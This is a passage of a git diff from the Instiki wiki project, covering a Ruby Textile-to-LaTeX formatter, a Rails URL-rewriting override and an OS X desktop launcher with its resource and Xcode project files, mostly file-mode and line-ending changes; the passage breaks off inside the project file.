!depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + unless depth.last == tl + depth << tl + atts = pba( atts ) + lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" + else + lines[line_id] = "\t\t\\item #{ content }" + end + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) + end + end + + def lT( text ) + text =~ /\#$/ ? 'enumerate' : 'itemize' + end + + def fold( text ) + text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) + # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
        ' }" ) + end + + def block( text ) + pre = false + find = ['bq','h[1-6]','fn\d+'] + + regexp_cue = [] + + lines = text.split( /\n/ ) + [' '] + new_text = + lines.collect do |line| + pre = true if line =~ /<(pre|notextile)>/i + find.each do |tag| + line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| + tag,atts,cite,content = $~[1..4] + + atts = pba( atts ) + + if tag =~ /fn(\d+)/ + # tag = 'p'; + # atts << " id=\"fn#{ $1 }\"" + regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] + content = "" + end + + if tag =~ /h([1-6])/ + section_type = "sub" * [$1.to_i - 1, 2].min + start = "\t\\#{section_type}section*{" + tend = "}" + end + + if tag == "bq" + cite = check_refs( cite ) + cite = " cite=\"#{ cite }\"" if cite + start = "\t\\begin{quotation}\n\\noindent {\\em "; + tend = "}\n\t\\end{quotation}"; + end + + "#{ start }#{ content }#{ tend }" + end unless pre + end + + #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

        \\1

        " ) + + #line.gsub!( "
        ", "\n" ) if pre + # pre = false if line =~ /<\/(pre|notextile)>/i + + line + end.join( "\n" ) + text.replace( new_text ) + regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } + end + + def span( text ) + QTAGS.each do |tt, ht| + ttr = Regexp::quote( tt ) + text.gsub!( + + /(^|\s|\>|[#{PUNCT}{(\[]) + #{ttr} + (#{C}) + (?::(\S+?))? + ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) + ([#{PUNCT}]*?) + #{ttr} + (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm + + ) do |m| + + start,atts,cite,content,tend = $~[1..5] + atts = pba( atts ) + atts << " cite=\"#{ cite }\"" if cite + + "#{ start }{\\#{ ht } #{ content }#{ tend }}" + + end + end + end + + def links( text ) + text.gsub!( / + ([\s\[{(]|[#{PUNCT}])? # $pre + " # start + (#{C}) # $atts + ([^"]+?) # $text + \s? + (?:\(([^)]+?)\)(?="))? # $title + ": + (\S+?) # $url + (\/)? # $slash + ([^\w\/;]*?) # $post + (?=\s|$) + /x ) do |m| + pre,atts,text,title,url,slash,post = $~[1..7] + + url = check_refs( url ) + + atts = pba( atts ) + atts << " title=\"#{ title }\"" if title + atts = shelve( atts ) if atts + + "#{ pre }#{ text }#{ post }" + end + end + + def get_refs( text ) + text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| + flag, url = $~[1..2] + @urlrefs[flag] = url + end + end + + def check_refs( text ) + @urlrefs[text] || text + end + + def image( text ) + text.gsub!( / + \! # opening + (\<|\=|\>)? # optional alignment atts + (#{C}) # optional style,class atts + (?:\. )? # optional dot-space + ([^\s(!]+?) # presume this is the src + \s? # optional space + (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title + \! # closing + (?::#{ HYPERLINK })? # optional href + /x ) do |m| + algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] + atts = pba( atts ) + atts << " align=\"#{ i_align( algn ) }\"" if algn + atts << " title=\"#{ title }\"" if title + atts << " alt=\"#{ title }\"" + # size = @getimagesize($url); + # if($size) $atts.= " $size[3]"; + + href = check_refs( href ) if href + url = check_refs( url ) + + out = '' + out << "" if href + out << "" + out << "#{ href_a1 }#{ href_a2 }" if href + + out + end + end + + def code( text ) + text.gsub!( / + (?:^|([\s\(\[{])) # 1 open bracket? + @ # opening + (?:\|(\w+?)\|)? # 2 language + (\S(?:[^\n]|\n(?!\n))*?) # 3 code + @ # closing + (?:$|([\]})])| + (?=[#{PUNCT}]{1,2}| + \s)) # 4 closing bracket? + /x ) do |m| + before,lang,code,after = $~[1..4] + lang = " language=\"#{ lang }\"" if lang + "#{ before }#{ code }
        #{ after }" + end + end + + def shelve( val ) + @shelf << val + " <#{ @shelf.length }>" + end + + def retrieve( text ) + @shelf.each_with_index do |r, i| + text.gsub!( " <#{ i + 1 }>", r ) + end + end + + def incoming_entities( text ) + ## turn any incoming ampersands into a dummy character for now. + ## This uses a negative lookahead for alphanumerics followed by a semicolon, + ## implying an incoming html entity, to be skipped + + text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) + end + + def encode_entities( text ) + ## Convert high and low ascii to entities. + # if $-K == "UTF-8" + # encode_high( text ) + # else + text.texesc!( :NoQuotes ) + # end + end + + def fix_entities( text ) + ## de-entify any remaining angle brackets or ampersands + text.gsub!( "\&", "&" ) + text.gsub!( "\%", "%" ) + end + + def clean_white_space( text ) + text.gsub!( /\r\n/, "\n" ) + text.gsub!( /\t/, '' ) + text.gsub!( /\n{3,}/, "\n\n" ) + text.gsub!( /\n *\n/, "\n\n" ) + text.gsub!( /"$/, "\" " ) + end + + def no_textile( text ) + text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, + '\1\2\3' ) + end + + def footnote_ref( text ) + text.gsub!( /\[([0-9]+?)\](\s)?/, + '\footnote{\1}\2') + #'\1\2' ) + end + + def inline( text ) + image text + links text + code text + span text + end + + def glyphs_deep( text ) + codepre = 0 + offtags = /(?:code|pre|kbd|notextile)/ + if text !~ /<.*>/ + # pgl text + footnote_ref text + else + used_offtags = {} + text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line| + tagline = ( line =~ /^<.*>/ ) + + ## matches are off if we're between ,
         etc.
        +          if tagline
        +            if line =~ /<(#{ offtags })>/i
        +              codepre += 1
        +              used_offtags[$1] = true
        +              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
        +            elsif line =~ /<\/(#{ offtags })>/i
        +              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
        +              codepre -= 1 unless codepre.zero?
        +              used_offtags = {} if codepre.zero?
        +            elsif @filter_html or codepre > 0
        +              line.texesc!( :NoQuotes )
        +              ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
        +            end 
        +            ## do htmlspecial if between 
        +          elsif codepre > 0
        +            line.texesc!( :NoQuotes )
        +            ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
        +          elsif not tagline
        +            inline line
        +            glyphs_deep line
        +          end
        +          
        +          line
        +        end
        +      end
        +    end
        +    
        +    def glyphs( text ) 
        +      text.gsub!( /"\z/, "\" " )
        +      ## if no html, do a simple search and replace...
        +      if text !~ /<.*>/
        +        inline text
        +      end
        +      glyphs_deep text
        +    end
        +    
        +    def i_align( text )
        +      I_ALGN_VALS[text]
        +    end
        +    
        +    def h_align( text ) 
        +      H_ALGN_VALS[text]
        +    end
        +    
        +    def v_align( text ) 
        +      V_ALGN_VALS[text]
        +    end
        +    
        +    def encode_high( text )
        +      ## mb_encode_numericentity($text, $cmap, $charset);
        +    end
        +    
        +    def decode_high( text )
        +      ## mb_decode_numericentity($text, $cmap, $charset);
        +    end
        +    
        +    def textile_popup_help( name, helpvar, windowW, windowH )
        +        ' ' + name + '
        ' + end + + CMAP = [ + 160, 255, 0, 0xffff, + 402, 402, 0, 0xffff, + 913, 929, 0, 0xffff, + 931, 937, 0, 0xffff, + 945, 969, 0, 0xffff, + 977, 978, 0, 0xffff, + 982, 982, 0, 0xffff, + 8226, 8226, 0, 0xffff, + 8230, 8230, 0, 0xffff, + 8242, 8243, 0, 0xffff, + 8254, 8254, 0, 0xffff, + 8260, 8260, 0, 0xffff, + 8465, 8465, 0, 0xffff, + 8472, 8472, 0, 0xffff, + 8476, 8476, 0, 0xffff, + 8482, 8482, 0, 0xffff, + 8501, 8501, 0, 0xffff, + 8592, 8596, 0, 0xffff, + 8629, 8629, 0, 0xffff, + 8656, 8660, 0, 0xffff, + 8704, 8704, 0, 0xffff, + 8706, 8707, 0, 0xffff, + 8709, 8709, 0, 0xffff, + 8711, 8713, 0, 0xffff, + 8715, 8715, 0, 0xffff, + 8719, 8719, 0, 0xffff, + 8721, 8722, 0, 0xffff, + 8727, 8727, 0, 0xffff, + 8730, 8730, 0, 0xffff, + 8733, 8734, 0, 0xffff, + 8736, 8736, 0, 0xffff, + 8743, 8747, 0, 0xffff, + 8756, 8756, 0, 0xffff, + 8764, 8764, 0, 0xffff, + 8773, 8773, 0, 0xffff, + 8776, 8776, 0, 0xffff, + 8800, 8801, 0, 0xffff, + 8804, 8805, 0, 0xffff, + 8834, 8836, 0, 0xffff, + 8838, 8839, 0, 0xffff, + 8853, 8853, 0, 0xffff, + 8855, 8855, 0, 0xffff, + 8869, 8869, 0, 0xffff, + 8901, 8901, 0, 0xffff, + 8968, 8971, 0, 0xffff, + 9001, 9002, 0, 0xffff, + 9674, 9674, 0, 0xffff, + 9824, 9824, 0, 0xffff, + 9827, 9827, 0, 0xffff, + 9829, 9830, 0, 0xffff, + 338, 339, 0, 0xffff, + 352, 353, 0, 0xffff, + 376, 376, 0, 0xffff, + 710, 710, 0, 0xffff, + 732, 732, 0, 0xffff, + 8194, 8195, 0, 0xffff, + 8201, 8201, 0, 0xffff, + 8204, 8207, 0, 0xffff, + 8211, 8212, 0, 0xffff, + 8216, 8218, 0, 0xffff, + 8218, 8218, 0, 0xffff, + 8220, 8222, 0, 0xffff, + 8224, 8225, 0, 0xffff, + 8240, 8240, 0, 0xffff, + 8249, 8250, 0, 0xffff, + 8364, 8364, 0, 0xffff + ] + end diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb old mode 100755 new mode 100644 index f7708f5d..f7ad1c50 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -1,107 +1,107 @@ -# Below are some hacks to Rails internal classes that implement Instiki URLs scheme. -# It is no doubt a bad practice to override internal implementation of anything. -# When Rails implements some way to do it in the framework, this code should be replaced -# with something more legitimate. - -# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular -# web (sub-wiki) and page within that web. -# -# 1. Controller is determined by action name (default is 'wiki') -# 2. '/name1/' maps to action 'name1', unspecified web -# Example: http://localhost/new_system/ -# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address -# when default controller name is specified as 'wiki', and an application root -# (http://localhost:2500/)is requested. -# 4. '/name1/name2/' maps to web 'name1', action 'name2' -# Example: http://localhost/mywiki/search/ -# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2', -# Example: http://localhost/mywiki/show/HomePage - - -require 'dispatcher' - -# Overrides Rails DispatchServlet.parse_uri -class DispatchServlet - - def self.parse_uri(path) - result = parse_path(path) - if result - result[:controller] = ActionMapper.map_to_controller(result[:action]) - result - else - false - end - end - - def self.parse_path(path) - ApplicationController.logger.debug "Parsing URI '#{path}'" - component = '([-_a-zA-Z0-9]+)' - page_name = '(.*)' - case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") - when '/wiki/' - { :web => nil, :controller => 'wiki', :action => 'index' } - when %r{^/#{component}/?$} - { :web => nil, :controller => 'wiki', :action => $1 } - when %r{^/#{component}/#{component}/?$} - { :web => $1, :controller => 'wiki', :action => $2 } - when %r{^/#{component}/#{component}/(.*)/?$} - { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) } - else - false - end - end - - def self.drop_trailing_slash(line) - if line[-1] == ?/ - line.chop - else - line - end - end - - class ActionMapper - - @@action_to_controller_map = { - 'file' => 'file', - 'pic' => 'file' - } - - def self.map_to_controller(action) - @@action_to_controller_map[action] || 'wiki' - end - - end - -end - - -require 'action_controller/url_rewriter.rb' - -# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme -module ActionController - class UrlRewriter - - VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web - - private - - def resolve_aliases(options) - options[:controller_prefix] = options[:web] unless options[:web].nil? - options - end - - def controller_name(options, controller_prefix) - ensure_slash_suffix(options, :controller_prefix) - - controller_name = case options[:controller_prefix] - when String: options[:controller_prefix] - when false : "" - when nil : controller_prefix || "" - end - # In Instiki we don't need the controller name (there is only one comtroller, anyway) - # therefore the below line is commented out - # controller_name << (options[:controller] + "/") if options[:controller] - return controller_name - end - end -end +# Below are some hacks to Rails internal classes that implement Instiki URLs scheme. +# It is no doubt a bad practice to override internal implementation of anything. +# When Rails implements some way to do it in the framework, this code should be replaced +# with something more legitimate. + +# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular +# web (sub-wiki) and page within that web. +# +# 1. Controller is determined by action name (default is 'wiki') +# 2. '/name1/' maps to action 'name1', unspecified web +# Example: http://localhost/new_system/ +# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address +# when default controller name is specified as 'wiki', and an application root +# (http://localhost:2500/)is requested. +# 4. '/name1/name2/' maps to web 'name1', action 'name2' +# Example: http://localhost/mywiki/search/ +# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2', +# Example: http://localhost/mywiki/show/HomePage + + +require 'dispatcher' + +# Overrides Rails DispatchServlet.parse_uri +class DispatchServlet + + def self.parse_uri(path) + result = parse_path(path) + if result + result[:controller] = ActionMapper.map_to_controller(result[:action]) + result + else + false + end + end + + def self.parse_path(path) + ApplicationController.logger.debug "Parsing URI '#{path}'" + component = '([-_a-zA-Z0-9]+)' + page_name = '(.*)' + case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") + when '/wiki/' + { :web => nil, :controller => 'wiki', :action => 'index' } + when %r{^/#{component}/?$} + { :web => nil, :controller => 'wiki', :action => $1 } + when %r{^/#{component}/#{component}/?$} + { :web => $1, :controller => 'wiki', :action => $2 } + when %r{^/#{component}/#{component}/(.*)/?$} + { :web => $1, :controller => 'wiki', :action => $2, :id => drop_trailing_slash($3) } + else + false + end + end + + def self.drop_trailing_slash(line) + if line[-1] == ?/ + line.chop + else + line + end + end + + class ActionMapper + + @@action_to_controller_map = { + 'file' => 'file', + 'pic' => 'file' + } + + def self.map_to_controller(action) + @@action_to_controller_map[action] || 'wiki' + end + + end + +end + + +require 'action_controller/url_rewriter.rb' + +# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme +module ActionController + class UrlRewriter + + VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web + + private + + def resolve_aliases(options) + options[:controller_prefix] = options[:web] unless options[:web].nil? + options + end + + def controller_name(options, controller_prefix) + ensure_slash_suffix(options, :controller_prefix) + + controller_name = case options[:controller_prefix] + when String: options[:controller_prefix] + when false : "" + when nil : controller_prefix || "" + end + # In Instiki we don't need the controller name (there is only one comtroller, anyway) + # therefore the below line is commented out + # controller_name << (options[:controller] + "/") if options[:controller] + return controller_name + end + end +end diff --git a/natives/osx/desktop_launcher/AppDelegate.h b/natives/osx/desktop_launcher/AppDelegate.h old mode 100755 new mode 100644 index a50769f5..c2b8f4f1 --- a/natives/osx/desktop_launcher/AppDelegate.h +++ b/natives/osx/desktop_launcher/AppDelegate.h @@ -1,18 +1,18 @@ -/* AppDelegate */ - -#import - -@interface AppDelegate : NSObject -{ - IBOutlet NSMenu* statusMenu; - NSTask* serverCommand; - int processID; - BOOL shouldOpenUntitled; - - NSNetService* service; -} -- (IBAction)about:(id)sender; -- (IBAction)goToHomepage:(id)sender; -- (IBAction)goToInstikiOrg:(id)sender; -- (IBAction)quit:(id)sender; -@end +/* AppDelegate */ + +#import + +@interface AppDelegate : NSObject +{ + IBOutlet NSMenu* statusMenu; + NSTask* serverCommand; + int processID; + BOOL shouldOpenUntitled; + + NSNetService* service; +} +- (IBAction)about:(id)sender; +- (IBAction)goToHomepage:(id)sender; +- (IBAction)goToInstikiOrg:(id)sender; +- (IBAction)quit:(id)sender; +@end diff --git a/natives/osx/desktop_launcher/AppDelegate.mm b/natives/osx/desktop_launcher/AppDelegate.mm old mode 100755 new mode 100644 index 8e0435a2..be3339cc --- a/natives/osx/desktop_launcher/AppDelegate.mm +++ b/natives/osx/desktop_launcher/AppDelegate.mm @@ -1,109 +1,109 @@ -#include -#include -#import "AppDelegate.h" - -int launch_ruby (char const* cmd) -{ - int pId, parentID = getpid(); - if((pId = fork()) == 0) // child - { - NSLog(@"set child (%d) to pgrp %d", getpid(), parentID); - setpgrp(0, parentID); - system(cmd); - return 0; - } - else // parent - { - NSLog(@"started child process: %d", pId); - return pId; - } -} - -@implementation AppDelegate - -- (NSString*)storageDirectory -{ - NSString* dir = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/Instiki"]; - [[NSFileManager defaultManager] createDirectoryAtPath:dir attributes:nil]; - return dir; -} - -- (void)awakeFromNib -{ - setpgrp(0, getpid()); - - if([[[[NSBundle mainBundle] infoDictionary] objectForKey:@"LSUIElement"] isEqualToString:@"1"]) - { - NSStatusBar* bar = [NSStatusBar systemStatusBar]; - NSStatusItem* item = [[bar statusItemWithLength:NSVariableStatusItemLength] retain]; - [item setTitle:@"Wiki"]; - [item setHighlightMode:YES]; - [item setMenu:statusMenu]; - } - - NSBundle* bundle = [NSBundle bundleForClass:[self class]]; - NSString* ruby = [bundle pathForResource:@"ruby" ofType:nil]; - NSString* script = [[bundle resourcePath] stringByAppendingPathComponent:@"rb_src/instiki.rb"]; - if(ruby && script) - { - NSString* cmd = [NSString stringWithFormat: - @"%@ -I '%@' -I '%@' '%@' -s --storage='%@'", - ruby, - [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8"], - [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8/powerpc-darwin"], - script, - [self storageDirectory] - ]; - NSLog(@"starting %@", cmd); - processID = launch_ruby([cmd UTF8String]); - } - - /* public the service using rendezvous */ - service = [[NSNetService alloc] - initWithDomain:@"" // default domain - type:@"_http._tcp." - name:[NSString stringWithFormat:@"%@'s Instiki", NSFullUserName()] - port:2500]; - [service publish]; -} - -- (void)applicationWillTerminate:(NSNotification*)aNotification -{ - [service stop]; - [service release]; - - kill(0, SIGTERM); -} - -- (IBAction)about:(id)sender -{ - [NSApp activateIgnoringOtherApps:YES]; - [NSApp orderFrontStandardAboutPanel:self]; -} - -- (IBAction)goToHomepage:(id)sender -{ - [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://localhost:2500/"]]; -} - -- (IBAction)goToInstikiOrg:(id)sender -{ - [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://www.instiki.org/"]]; -} - -- (BOOL)applicationShouldOpenUntitledFile:(NSApplication*)sender -{ - return shouldOpenUntitled ?: (shouldOpenUntitled = YES, NO); -} - -- (BOOL)applicationOpenUntitledFile:(NSApplication*)theApplication -{ - return [self goToHomepage:self], YES; -} - -- (IBAction)quit:(id)sender -{ - [NSApp terminate:self]; -} - -@end +#include +#include +#import "AppDelegate.h" + +int launch_ruby (char const* cmd) +{ + int pId, parentID = getpid(); + if((pId = fork()) == 0) // child + { + NSLog(@"set child (%d) to pgrp %d", getpid(), parentID); + setpgrp(0, parentID); + system(cmd); + return 0; + } + else // parent + { + NSLog(@"started child process: %d", pId); + return pId; + } +} + +@implementation AppDelegate + +- (NSString*)storageDirectory +{ + NSString* dir = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/Instiki"]; + [[NSFileManager defaultManager] createDirectoryAtPath:dir attributes:nil]; + return dir; +} + +- (void)awakeFromNib +{ + setpgrp(0, getpid()); + + if([[[[NSBundle mainBundle] infoDictionary] objectForKey:@"LSUIElement"] isEqualToString:@"1"]) + { + NSStatusBar* bar = [NSStatusBar systemStatusBar]; + NSStatusItem* item = [[bar statusItemWithLength:NSVariableStatusItemLength] retain]; + [item setTitle:@"Wiki"]; + [item setHighlightMode:YES]; + [item setMenu:statusMenu]; + } + + NSBundle* bundle = [NSBundle bundleForClass:[self class]]; + NSString* ruby = [bundle pathForResource:@"ruby" ofType:nil]; + NSString* script = [[bundle resourcePath] stringByAppendingPathComponent:@"rb_src/instiki.rb"]; + if(ruby && script) + { + NSString* cmd = [NSString stringWithFormat: + @"%@ -I '%@' -I '%@' '%@' -s --storage='%@'", + ruby, + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8"], + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8/powerpc-darwin"], + script, + [self storageDirectory] + ]; + NSLog(@"starting %@", cmd); + processID = launch_ruby([cmd UTF8String]); + } + + /* public the service using rendezvous */ + service = [[NSNetService alloc] + initWithDomain:@"" // default domain + type:@"_http._tcp." + name:[NSString stringWithFormat:@"%@'s Instiki", NSFullUserName()] + port:2500]; + [service publish]; +} + +- (void)applicationWillTerminate:(NSNotification*)aNotification +{ + [service stop]; + [service release]; + + kill(0, SIGTERM); +} + +- (IBAction)about:(id)sender +{ + [NSApp activateIgnoringOtherApps:YES]; + [NSApp orderFrontStandardAboutPanel:self]; +} + +- (IBAction)goToHomepage:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://localhost:2500/"]]; +} + +- (IBAction)goToInstikiOrg:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://www.instiki.org/"]]; +} + +- (BOOL)applicationShouldOpenUntitledFile:(NSApplication*)sender +{ + return shouldOpenUntitled ?: (shouldOpenUntitled = YES, NO); +} + +- (BOOL)applicationOpenUntitledFile:(NSApplication*)theApplication +{ + return [self goToHomepage:self], YES; +} + +- (IBAction)quit:(id)sender +{ + [NSApp terminate:self]; +} + +@end diff --git a/natives/osx/desktop_launcher/Credits.html b/natives/osx/desktop_launcher/Credits.html old mode 100755 new mode 100644 index dfc9053c..99ff9627 --- a/natives/osx/desktop_launcher/Credits.html +++ b/natives/osx/desktop_launcher/Credits.html @@ -1,16 +1,16 @@ -
        -
        Engineering:
        -
        Some people
        - -
        Human Interface Design:
        -
        Some other people
        - -
        Testing:
        -
        Hopefully not nobody
        - -
        Documentation:
        -
        Whoever
        - -
        With special thanks to:
        -
        Mom
        +
        +
        Engineering:
        +
        Some people
        + +
        Human Interface Design:
        +
        Some other people
        + +
        Testing:
        +
        Hopefully not nobody
        + +
        Documentation:
        +
        Whoever
        + +
        With special thanks to:
        +
        Mom
        \ No newline at end of file diff --git a/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings b/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings old mode 100755 new mode 100644 diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib old mode 100755 new mode 100644 index 368a876f..60ddec12 --- a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib +++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/classes.nib @@ -1,13 +1,13 @@ -{ - IBClasses = ( - { - ACTIONS = {about = id; goToHomepage = id; goToInstikiOrg = id; quit = id; }; - CLASS = AppDelegate; - LANGUAGE = ObjC; - OUTLETS = {statusMenu = NSMenu; }; - SUPERCLASS = NSObject; - }, - {CLASS = FirstResponder; LANGUAGE = ObjC; SUPERCLASS = NSObject; } - ); - IBVersion = 1; +{ + IBClasses = ( + { + ACTIONS = {about = id; goToHomepage = id; goToInstikiOrg = id; quit = id; }; + CLASS = AppDelegate; + LANGUAGE = ObjC; + OUTLETS = {statusMenu = NSMenu; }; + SUPERCLASS = NSObject; + }, + {CLASS = FirstResponder; LANGUAGE = ObjC; SUPERCLASS = NSObject; } + ); + IBVersion = 1; } \ No newline at end of file diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib old mode 100755 new mode 100644 index 6383ba8f..3ef7d504 --- a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib +++ b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/info.nib @@ -1,24 +1,24 @@ - - - - - IBDocumentLocation - 109 6 356 240 0 0 1440 878 - IBEditorPositions - - 206 - 112 300 116 87 0 0 1440 878 - 29 - 241 316 70 44 0 0 1440 878 - - IBFramework Version - 349.0 - IBOpenObjects - - 206 - 29 - - IBSystem Version - 7H63 - - + + + + + IBDocumentLocation + 109 6 356 240 0 0 1440 878 + IBEditorPositions + + 206 + 112 300 116 87 0 0 1440 878 + 29 + 241 316 70 44 0 0 1440 878 + + IBFramework Version + 349.0 + IBOpenObjects + + 206 + 29 + + IBSystem Version + 7H63 + + diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib old mode 100755 new mode 100644 diff --git a/natives/osx/desktop_launcher/Info.plist b/natives/osx/desktop_launcher/Info.plist old mode 100755 new mode 100644 index 723bf68a..c2c9f3bf --- a/natives/osx/desktop_launcher/Info.plist +++ b/natives/osx/desktop_launcher/Info.plist @@ -1,13 +1,13 @@ -{ - CFBundleDevelopmentRegion = English; - CFBundleExecutable = Instiki; - CFBundleIconFile = ""; - CFBundleIdentifier = "com.nextangle.instiki"; - CFBundleInfoDictionaryVersion = "6.0"; - CFBundlePackageType = APPL; - CFBundleSignature = WIKI; - CFBundleVersion = "0.9.0"; - LSUIElement = 1; - NSMainNibFile = MainMenu; - NSPrincipalClass = NSApplication; +{ + CFBundleDevelopmentRegion = English; + CFBundleExecutable = Instiki; + CFBundleIconFile = ""; + CFBundleIdentifier = "com.nextangle.instiki"; + CFBundleInfoDictionaryVersion = "6.0"; + CFBundlePackageType = APPL; + CFBundleSignature = WIKI; + CFBundleVersion = "0.9.0"; + LSUIElement = 1; + NSMainNibFile = MainMenu; + NSPrincipalClass = NSApplication; } \ No newline at end of file diff --git a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj old mode 100755 new mode 100644 index 9b9bb292..f71cb7bc --- a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj +++ b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj @@ -1,592 +1,592 @@ -// !$*UTF8*$! -{ - archiveVersion = 1; - classes = { - }; - objectVersion = 39; - objects = { - 080E96DDFE201D6D7F000001 = { - children = ( - 174B2765065CE31400ED6208, - 174B2766065CE31400ED6208, - ); - isa = PBXGroup; - name = Classes; - refType = 4; - sourceTree = ""; - }; - 089C165CFE840E0CC02AAC07 = { - children = ( - 089C165DFE840E0CC02AAC07, - ); - isa = PBXVariantGroup; - name = InfoPlist.strings; - refType = 4; - sourceTree = ""; - }; - 089C165DFE840E0CC02AAC07 = { - fileEncoding = 10; - isa = PBXFileReference; - lastKnownFileType = text.plist.strings; - name = English; - path = English.lproj/InfoPlist.strings; - refType = 4; - sourceTree = ""; - }; -//080 -//081 -//082 -//083 -//084 -//100 -//101 -//102 -//103 -//104 - 1058C7A0FEA54F0111CA2CBB = { - children = ( - 1058C7A1FEA54F0111CA2CBB, - ); - isa = PBXGroup; - name = "Linked Frameworks"; - refType = 4; - sourceTree = ""; - }; - 1058C7A1FEA54F0111CA2CBB = { - fallbackIsa = PBXFileReference; - isa = PBXFrameworkReference; - lastKnownFileType = wrapper.framework; - name = Cocoa.framework; - path = /System/Library/Frameworks/Cocoa.framework; - refType = 0; - sourceTree = ""; - }; - 1058C7A2FEA54F0111CA2CBB = { - children = ( - 29B97325FDCFA39411CA2CEA, - 29B97324FDCFA39411CA2CEA, - ); - isa = PBXGroup; - name = "Other Frameworks"; - refType = 4; - sourceTree = ""; - }; -//100 -//101 -//102 -//103 -//104 -//170 -//171 -//172 -//173 -//174 - 174B2765065CE31400ED6208 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = sourcecode.cpp.objcpp; - path = AppDelegate.mm; - refType = 4; - sourceTree = ""; - }; - 174B2766065CE31400ED6208 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = sourcecode.c.h; - path = AppDelegate.h; - refType = 4; - sourceTree = ""; - }; - 174B2767065CE31400ED6208 = { - fileRef = 174B2765065CE31400ED6208; - isa = PBXBuildFile; - settings = { - }; - }; - 174B2768065CE31400ED6208 = { - fileRef = 174B2766065CE31400ED6208; - isa = PBXBuildFile; - settings = { - }; - }; - 17BF6FD9067536EB003F37D6 = { - children = ( - 63B86D2F0673A5D300807E13, - 63B86D1A0673A5B200807E13, - 63B86D100673A58400807E13, - ); - isa = PBXGroup; - name = "Instiki Source"; - refType = 4; - sourceTree = ""; - }; - 17C1C5CD065D3A3C003526E7 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.html; - path = Credits.html; - refType = 4; - sourceTree = ""; - }; - 17C1C5CE065D3A3C003526E7 = { - fileRef = 17C1C5CD065D3A3C003526E7; - isa = PBXBuildFile; - settings = { - }; - }; - 17C1C6E2065D458D003526E7 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.script.sh; - path = MakeDMG.sh; - refType = 4; - sourceTree = ""; - }; - 17F6C11106629574007E0BD0 = { - isa = PBXFileReference; - lastKnownFileType = "compiled.mach-o.executable"; - name = ruby; - path = /usr/local/bin/ruby; - refType = 